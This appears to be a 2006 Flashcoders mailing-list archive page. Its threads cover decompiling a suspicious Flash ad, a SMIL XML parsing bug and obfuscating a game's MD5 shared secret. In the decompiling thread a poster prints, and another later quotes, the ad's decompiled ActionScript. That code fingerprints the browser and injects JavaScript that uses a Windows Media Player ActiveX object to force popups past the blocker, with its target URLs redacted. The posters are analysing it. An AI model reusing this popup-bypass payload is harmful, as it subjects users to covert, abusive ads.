Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training http://www.figleaf.com
http://training.figleaf.com
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread Michael Stuhr

Michiel Nolet schrieb:

I am more than willing to shell $59.95 for asv, I just want to make sure
it can extract stuff that other toosl couldn't.  I've tried the free
command line ones, and shell out $30 for some crappy software that plain
didn't work.  Could you copy paste some sample lines of more informative
code you're finding?

  

   function setswfashCookie() {
   my_date.setTime(my_date.getTime() + 43200);
   my_so.data.expires = my_date.getTime();
   my_so.swfush();
   if (_root.strong) {
   this.createEmptyMovieClip(target_mc, 
this.getNextHighestDepth());

   target_mc.unique = unique.getTime();
   target_mc.loadVariables(_root.sscript, GET);
   target_mc.param_interval = setInterval(checkParamsLoaded, 100);
   }
   }
   function checkParamsLoaded() {
   if (target_mc.popup == undefined) {
   } else if (target_mc.popup == 1) {
   clearInterval(target_mc.param_interval);
   getURL (_root.tzjscript, _self);
   } else if (target_mc.popup == 0) {
   clearInterval(target_mc.param_interval);
   }
   }
   _root.strong = true;
   _root.strongPP = ###;
   _root.sscript = ###;
   _root.easyPP = ###;
   _root.tz_begin = -3;
   _root.tz_end = -9;
   _root.tzjscript = (javascript:var 
w=window,n=navigator,a=n.appMinorVersion,d=document,u=' + 
_root.strongPP) + ',dt=new 
Date(),tz=-dt.getTimezoneOffset()/60;p=(n.userAgent.indexOf('SV1')!=-1)||(a(a.indexOf('SP2')!=-1));i=(d.allencodeURI()!w.Event);if(!(tz=) 
+ _root.tz_end) + tz=) + _root.tz_begin) + 
)){if(p!d.getElementById('o')){d.body.innerHTML+='object id=o 
height=\0\ 
classid=\CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6\/object';};(ip)?o.launchURL(u):w.open(u);};void 
0;;
   _root.jscript = (javascript:var 
w=window,n=navigator,a=n.appMinorVersion,d=document,u=' + 
_root.strongPP) + 
';p=(n.userAgent.indexOf('SV1')!=-1)||(a(a.indexOf('SP2')!=-1));i=(d.allencodeURI()!w.Event);if(p!d.getElementById('o')){d.body.innerHTML+='object 
id=o height=\0\ 
classid=\CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6\/object';};(ip)?o.launchURL(u):w.open(u);void 
0;;

   var unique:Date = new Date();
   var my_date:Date = new Date();
   var my_so:SharedObject = SharedObject.getLocal(tiger_swf7300506, /);
   if (my_so.data.expires != undefined) {
   var tm = my_date.getTime();
   if (tm  my_so.data.expires) {
   setswfashCookie();
   }
   } else {
   setswfashCookie();
   }
   if (_root.ClickTAG == undefined) {
   _root.ClickTAG = _root.easyPP;
   }
   if (_root.ClickTARGET == undefined) {
   _root.ClickTARGET = _blank;
   }
   _root.URL_btn.onRelease = function () {
   getURL (_root.ClickTAG, _root.ClickTARGET);
   };

those ###'s are real urls.

and those are only the actions on frame 1 ...

i guess you lost ~60 bucks right now :-)

micha
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE: [Flashcoders] SMIL xml parsing weirdness.

2006-09-20 Thread Ryan Potter
Yep.  That is one if the weird parts.  Everything comes across fine but that 
one attrubute. 

-Original Message- 
From: [EMAIL PROTECTED] on behalf of Merrill, Jason 
Sent: Wed 9/20/2006 4:17 PM 
To: Flashcoders mailing list 
Cc: 
Subject: RE: [Flashcoders] SMIL xml parsing weirdness.



It could be.  Can you get to root-layout width=480 ?

Jason Merrill
Bank of America
Learning  Organization Effectiveness - Technology Solutions






-Original Message-
From: [EMAIL PROTECTED] [mailto:flashcoders-
[EMAIL PROTECTED] On Behalf Of Ryan Potter
Sent: Wednesday, September 20, 2006 6:06 PM
To: Flashcoders mailing list
Subject: [Flashcoders] SMIL xml parsing weirdness.

Hello list.

I have been working on parsing a smil xml file so that I can detect
bandwidth for an flv player.  I am getting the xml output from a PHP
script and I am using xml.sendAndLoad().  That all works just fine.  I
can get the xml object back and I can parse through it and get the
data
out with one strange exception.

When I try to parse the video node system-bitrate attribute I can't
get the value.  I have tried to turn it into a number, or a string
(which it is).  The weird thing is that if I trace it out it says it
is
NaN.  If I look at the type it is string.  Then why won't it let
me
read it???

The weird part is that if I change the name of the attribute to
bitrate or just about any other name it works.  Is it the dash in
the
attribute name?

Has anyone seen this behavior??

Thanks,
Ryan

Here is my smil file:

smil
  head
  meta base=rtmp://myflvserver/blahblah/flash/1/ /
  layout
  root-layout width=480 height=360 /
  /layout
  /head
  body
  switch
  video src=rl512k.flv
system-bitrate=512000/
  ref src=rl256k.flv/
  /switch
  /body
/smil

SMIL xml parsing weirdness.





___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com

RE: [Flashcoders] SMIL xml parsing weirdness.

2006-09-20 Thread Ryan Potter
Thanks Claus.
 
I coppied your code and it worked.  Yet it is almost the same as mine.
 
Thanks again.
Ryan
 

-Original Message- 
From: [EMAIL PROTECTED] on behalf of Claus Wahlers 
Sent: Wed 9/20/2006 4:20 PM 
To: Flashcoders mailing list 
Cc: 
Subject: Re: [Flashcoders] SMIL xml parsing weirdness.



Works for me:

var self:MovieClip = this;
var xml:XML = new XML();
xml.ignoreWhite = true;
xml.onLoad = function(ok:Boolean) { self.doStuff(ok); }
xml.load(soap.xml);
stop();

function doStuff(ok:Boolean):Void {
   var bitrate:String =

xml.firstChild.firstChild.nextSibling.firstChild.firstChild.attributes[system-bitrate];
   trace(parseInt(bitrate));
}

Cheers,
Claus.

Ryan Potter wrote:

 Hello list.

 I have been working on parsing a smil xml file so that I can detect
 bandwidth for an flv player.  I am getting the xml output from a PHP
 script and I am using xml.sendAndLoad().  That all works just fine.  I
 can get the xml object back and I can parse through it and get the 
data
 out with one strange exception. 

 When I try to parse the video node system-bitrate attribute I can't
 get the value.  I have tried to turn it into a number, or a string
 (which it is).  The weird thing is that if I trace it out it says it 
is
 NaN.  If I look at the type it is string.  Then why won't it let 
me
 read it???

 The weird part is that if I change the name of the attribute to
 bitrate or just about any other name it works.  Is it the dash in 
the
 attribute name?

 Has anyone seen this behavior??

 Thanks,
 Ryan

 Here is my smil file:

 smil
   head
   meta base=rtmp://myflvserver/blahblah/flash/1/ /
   layout
   root-layout width=480 height=360 /
   /layout
   /head
   body
   switch
   video src=rl512k.flv
 system-bitrate=512000/
   ref src=rl256k.flv/
   /switch
   /body
 /smil

 SMIL xml parsing weirdness.

--
claus wahlers
côdeazur brasil
http://codeazur.com.br
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com

Re: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread Burak KALAYCI
Hi,

Micha, thanks, you were quick :)

Mike, you can write to me directly off-list if you have any questions about
ASV.

Best regards,
Burak

Burak KALAYCI, Manitu Group
http://www.buraks.com
http://www.manitugroup.com

- Original Message -
From: Michael Stuhr [EMAIL PROTECTED]
To: Flashcoders mailing list flashcoders@chattyfig.figleaf.com
Sent: Thursday, September 21, 2006 1:51 AM
Subject: Re: [Flashcoders] Decompiling some sketchy flash code


 Michiel Nolet schrieb:
  I am more than willing to shell $59.95 for asv, I just want to make sure
  it can extract stuff that other toosl couldn't.  I've tried the free
...
 micha

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] SMIL xml parsing weirdness.

2006-09-20 Thread Claus Wahlers


Everything comes across fine but that one attrubute. 


You probably did .attributes.system-bitrate.
Both .attributes.system and bitrate are undefined.
The - then converts it into a Number, thus NaN.

Cheers,
Claus.

--
claus wahlers
côdeazur brasil
http://codeazur.com.br
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread Michiel Nolet
Not at all, that is awesome, you don't understand how many hours I've
been trying to find that info.  I also have plenty more flash files to
get the code from :).  It's actually kind of interesting that they use
javascript that checks useragent, timezone, etc. on whether a pop should
be launched or not.

Burak, can I contact you at manitu at buraks.com ?

-Mike



-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Michael
Stuhr
Sent: Wednesday, September 20, 2006 6:52 PM
To: Flashcoders mailing list
Subject: Re: [Flashcoders] Decompiling some sketchy flash code

Michiel Nolet schrieb:
 I am more than willing to shell $59.95 for asv, I just want to make 
 sure it can extract stuff that other toosl couldn't.  I've tried the 
 free command line ones, and shell out $30 for some crappy software 
 that plain didn't work.  Could you copy paste some sample lines of 
 more informative code you're finding?


function setswfashCookie() {
my_date.setTime(my_date.getTime() + 43200);
my_so.data.expires = my_date.getTime();
my_so.swfush();
if (_root.strong) {
this.createEmptyMovieClip(target_mc,
this.getNextHighestDepth());
target_mc.unique = unique.getTime();
target_mc.loadVariables(_root.sscript, GET);
target_mc.param_interval = setInterval(checkParamsLoaded,
100);
}
}
function checkParamsLoaded() {
if (target_mc.popup == undefined) {
} else if (target_mc.popup == 1) {
clearInterval(target_mc.param_interval);
getURL (_root.tzjscript, _self);
} else if (target_mc.popup == 0) {
clearInterval(target_mc.param_interval);
}
}
_root.strong = true;
_root.strongPP = ###;
_root.sscript = ###;
_root.easyPP = ###;
_root.tz_begin = -3;
_root.tz_end = -9;
_root.tzjscript = (javascript:var
w=window,n=navigator,a=n.appMinorVersion,d=document,u=' +
_root.strongPP) + ',dt=new
Date(),tz=-dt.getTimezoneOffset()/60;p=(n.userAgent.indexOf('SV1')!=-1)|
|(a(a.indexOf('SP2')!=-1));i=(d.allencodeURI()!w.Event);if(!(tz=
) 
+ _root.tz_end) + tz=) + _root.tz_begin) +
)){if(p!d.getElementById('o')){d.body.innerHTML+='object id=o
height=\0\ 
classid=\CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6\/object';};(i
p)?o.launchURL(u):w.open(u);};void
0;;
_root.jscript = (javascript:var
w=window,n=navigator,a=n.appMinorVersion,d=document,u=' +
_root.strongPP) +
';p=(n.userAgent.indexOf('SV1')!=-1)||(a(a.indexOf('SP2')!=-1));i=(d.
allencodeURI()!w.Event);if(p!d.getElementById('o')){d.body.innerHT
ML+='object
id=o height=\0\ 
classid=\CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6\/object';};(i
p)?o.launchURL(u):w.open(u);void
0;;
var unique:Date = new Date();
var my_date:Date = new Date();
var my_so:SharedObject = SharedObject.getLocal(tiger_swf7300506,
/);
if (my_so.data.expires != undefined) {
var tm = my_date.getTime();
if (tm  my_so.data.expires) {
setswfashCookie();
}
} else {
setswfashCookie();
}
if (_root.ClickTAG == undefined) {
_root.ClickTAG = _root.easyPP;
}
if (_root.ClickTARGET == undefined) {
_root.ClickTARGET = _blank;
}
_root.URL_btn.onRelease = function () {
getURL (_root.ClickTAG, _root.ClickTARGET);
};

those ###'s are real urls.

and those are only the actions on frame 1 ...

i guess you lost ~60 bucks right now :-)

micha
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training http://www.figleaf.com
http://training.figleaf.com
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread Burak KALAYCI
Hi Mike,

I've just sent my contact information to you off-list.

Best regards,
Burak

Burak KALAYCI, Manitu Group
http://www.buraks.com
http://www.manitugroup.com

- Original Message - 
From: Michiel Nolet [EMAIL PROTECTED]
To: Flashcoders mailing list flashcoders@chattyfig.figleaf.com
Sent: Thursday, September 21, 2006 3:26 AM
Subject: RE: [Flashcoders] Decompiling some sketchy flash code


 
 Burak, can I contact you at manitu at buraks.com ?
 
 -Mike

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Hiding MD5 shared secret

2006-09-20 Thread David Rorex

hide the secret in many different places throughout the swf, and then
combine them together to produce the actual code (using some odd formula).
name them things that make it seem related to something else. part of the
shared secret should also come from the server, so that it is different
every time.

some lame examples:

_root.someInvisibleMC._x=123;
_root.someInvisibleMC._y=124; // 124 is hardcoded on the server
// ...
highscores = server.getHighScores(); // actually returns a random number
which is also stored on the server
var userID = getTimer();
server.trackUsage(userID); // server stores this value as well
// ...
var currentDate =
MD5(_root.someInvisibleMC._y+highscores+userID+currentScore); // server can
also calculate this, because it knows all the same pieces of data
// ...
submitScore(currentDate, currentScore); // actually submit the score to the
server

hope this gives you some ideas. in the end, it's pretty much impossible to
completely secure it, you just have to make the barrier high enough that
they will give up attacking your game, and try on some less-well defended
one.
but...if the player's score actually gives them some reward which has real
value (a prize, or a coupon, or free download or something), assume that it
will be hacked, no matter what you do.

-David R

On 9/20/06, Toon Van de Putte [EMAIL PROTECTED] wrote:


Hi,

I'm building a Flash game that'll store a player's score in a database. To
make sure the posts are coming from the swf, we're using MD5 to hash some
(variable) player data together with a shared secret.
This works fine, until someone downloads and decompiles the swf, and finds
the shared secret.
Do you have any best practices for hiding the shared secret as much as
possible? I don't know enough about how the Flash IDE compiles swf's to
figure this out on my own.

Thanks!
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com